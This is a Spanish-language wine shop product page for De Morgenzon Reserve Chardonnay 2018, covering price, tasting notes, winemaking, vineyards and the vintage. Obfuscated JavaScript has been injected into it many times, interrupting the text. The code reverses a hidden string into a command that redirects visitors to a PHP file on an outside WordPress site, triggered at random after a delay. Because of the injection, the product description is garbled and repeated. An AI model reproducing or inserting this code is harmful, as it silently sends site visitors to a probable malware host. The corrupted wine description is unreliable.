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De Morgenzon Reserve Chardonnay 2018

40,10

Gold medal Decanter World Wine Awards

BODEGA: DeMorgenzon

PAIS: Sudáfrica

REGION: Stellenbosch

VARIEDAD: Chardonnay

NOTAS DE CATA:

Color Dorado con reflejos verdosos. En nariz aparecen aromas de $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-translate-intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to=”en” data-phrase-index=”1″>Brioche toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tostado caliente con mermelada picante, lima, notas florales de madreselva. En boca se muestra cálido, rico en vainilla y con un cremoso final de almendras.

3 disponibles

Descripción

Gold medal Decanter World Wine Awards

BODEGA: DeMorgenzon

PAIS: Sudáfrica

REGION: Stellenbosch

VARIEDAD: Chardonnay

NOTAS DE CATA:

Color Dorado con reflejos verdosos. En nariz aparecen aromas de $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-translate-into=”en” data-phrase-index=”1″>Brioche tostado caliente con mermelada picante, lima, notas florales de madreselva. En boca se muestra cálido, rico en vainilla y con un cremoso final de almendras.

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-translate-into=”en” data-phrase-index=”1″>VINIFICACIÓN Y MADURACIÓN:

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-translate-into=”en” data-phrase-index=”1″>La uva fue recogida a mano y después se realizó el prensado de los racimos enteros. El jugo se transfirió a barricas de roble francés con una mínima sedimentación. La fermentación se produjo de forma natural en barricas de roble francés de las que el 30% eran nuevas. Aproximadamente el 70% del volumen completó la fermentación maloláctica durante una crianza de 10 meses sobre las lías brutas. El vino se embotelló con mínima estabilización y se clarificó sin filtrar.

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-translate-into=”en” data-phrase-index=”1″>VIÑEDOS:

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-translate-into=”en” data-phrase-index=”1″>Los viñedos están situados en colinas con pendientes medias de granito degradado, y se benefician de la luz del sol fresca de la mañana y la moderación de la brisa marina de False Bay. Los rendimientos son típicamente bajos a moderados y las uvas están muy concentradas con buenos niveles de acidez natural.

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-translate-into=”en” data-phrase-index=”1″>AÑADA:  2018 fue una cosecha seca en el Cabo. Las tormentas eléctricas a principios de la primavera agregaron mucho nitrógeno a los suelos, lo que originó cepas muy saludables. Las temperaturas diurnas durante el período de maduración fueron más frías que las experimentadas en las cosechas muy calurosas de 2016 y 2017, con noches relativamente frescas. Sin embargo, las condiciones fueron muy secas y el manejo del estrés de la vid fue clave para el éxito. La recolección fue muy temprana en 2018, con lo que las uvas llegaron a la bodega con niveles más bajos de azúcar y niveles más bajos de pH.

 

 

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